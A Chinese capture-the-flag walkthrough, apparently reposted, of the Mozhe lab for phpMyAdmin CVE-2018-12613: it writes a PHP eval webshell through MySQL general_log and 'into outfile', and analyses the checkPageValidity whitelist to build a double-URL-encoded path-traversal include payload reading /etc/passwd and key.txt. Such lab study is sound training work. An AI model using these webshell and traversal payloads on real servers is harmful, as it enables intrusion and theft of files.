墨者靶场 phpMyAdmin后台文件包含分析溯源 (CVE-2018-12613)

Posted 曹振国cc

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了墨者靶场 phpMyAdmin后台文件包含分析溯源 (CVE-2018-12613)相关的知识,希望对你有一定的参考价值。

第一种:

一、利用burp爆破出账号密码

image-20210615143749593

image-20210615143707494

二、尝试写马连入蚁剑

1.发现mysql对导入导出没做任何限制
secure_file_priv为null    	表示不允许导入导出
secure_file_priv			指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv			没有设置时,则表示没有任何限制

image-20210615145040648

2.查询日志
show variables like 'general_log%'

image-20210615145329861

3.利用日志写文件
开启general_log:  set global general_log=ON

image-20210615145952653

image-20210615150024774

设置日志写入文件
SET global general_log_file='/var/www/html/cao.php'

image-20210615150945041

4.访问写入的日志文件

image-20210615151422283

6.尝试直接通过into outfile写入一句话木马
select '<?php eval($_REQUEST[cao]); ?>' into outfile '/var/www/html/cao2.php'

image-20210615151703267

7.访问phpinfo文件,并连接蚁剑得到key值
http://219.153.49.228:42067/cao2.php?cao=phpinfo();

image-20210615151811271

在根目录发现key值

image-20210615154822992

第二种:

漏洞详情:

关于漏洞分析可以查看这篇文章CVE-2018-12613phpMyAdmin 后台文件包含漏洞分析

一、下载index.php文件进行分析

image-20210615155927698

1.发现55到63行存在问题
$target_blacklist = array (                                 //黑名单
    'import.php', 'export.php'                              //只要target的值不是这两个就可以
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])        				      //检查变量target是否为空
    && is_string($_REQUEST['target'])   					  //检测参数target是否是字符串类型
    && ! preg_match('/^index/', $_REQUEST['target'])            //传参target不能以index开头
    && ! in_array($_REQUEST['target'], $target_blacklist)       //搜索target的值是否存在于$target_blacklist数组中
    && Core::checkPageValidity($_REQUEST['target'])             // Core类的方法判断是否满足checkPageValidity()函数
) {
    include $_REQUEST['target'];                                //如果通过判断则包含指定文件
    exit;
}

image-20210615160108971

二、下载Core.php进行分析

image-20210615162328210

1.找到checkPageValidity函数,在第443行

image-20210615162842925

2.查看白名单数组$whitelist

image-20210615163021192

 if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;         //$whitelist为空则引用静态声明的$goto_whitelist
        }
        if (! isset($page) || !is_string($page)) {
            return false;                               //如果$page没有被定义过或者$page不是字符串类型则return false
        }

        if (in_array($page, $whitelist)) {              //$page存在于$whitelist数组中则返回 true
            return true;
        }

mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置所以这里就可以通过?/../../../../../../etc/passwd绕过白名单限制

 $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;                                //$_page存在$whitelist中的某个值则返回true
        }

这里多了一个urldecode()函数,可以利用双重url编码绕过 可以把?双重编码为%253f进行绕过白名单限制 %253f/../../../../../../etc/passwd

$_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;                                // 经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true
        }

Payload: %253f/../../../../etc/passwd

db_sql.php%253f是被当作目录进行上跳

image-20210615165453586

3.包含根目录下的key.txt得到key值
index.php?target=db_sql.php%253f/../../../../key.txt

image-20210615165756808

以上是关于墨者靶场 phpMyAdmin后台文件包含分析溯源 (CVE-2018-12613)的主要内容,如果未能解决你的问题,请参考以下文章

墨者靶场 内部文件上传系统漏洞分析溯源

墨者靶场 内部文件上传系统漏洞分析溯源

【墨者学院】:CMS系统漏洞分析溯源(第2题)

墨者学院WebShell文件上传分析溯源(第2题)Write

墨者靶场 登录密码重置漏洞分析溯源

墨者靶场 登录密码重置漏洞分析溯源